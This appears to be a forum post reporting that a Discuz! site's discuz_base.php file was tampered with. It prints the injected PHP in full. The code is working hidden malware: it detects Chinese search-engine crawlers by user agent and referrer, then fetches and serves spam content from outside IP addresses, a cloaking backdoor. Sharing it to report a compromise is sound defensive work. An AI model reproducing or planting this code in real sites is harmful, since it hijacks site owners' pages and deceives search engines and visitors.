source\class\discuz\discuz_base.php文件被修改了，被加了代码，如下：
set_time_limit(30);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
function httpGet($url) {
  $ch = curl_init();

  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);

  $output = curl_exec($ch);

  curl_close($ch);

  return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeable($file_name)
{
    @chmod($file_name, 0755);
}
@chmod(__FILE__, 0755);
set_writeable($filename1);
define('url', $er['REQUEST_URI']);
define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://155.159.254.236:9867");
define('road', "?/" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".gq")or $tr(url, ".xlsx") and $tr(url, "?"));
if (area && preg_match(regs, ref)) {
    echo file_get_contents('http://155.159.254.254:9368/sb.html');
    exit;
}
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGet(site.road);
        exit;
    } else {
        echo httpGet("http://155.159.254.254:9368/u.php");
        ob_flush();
        flush();
    }
}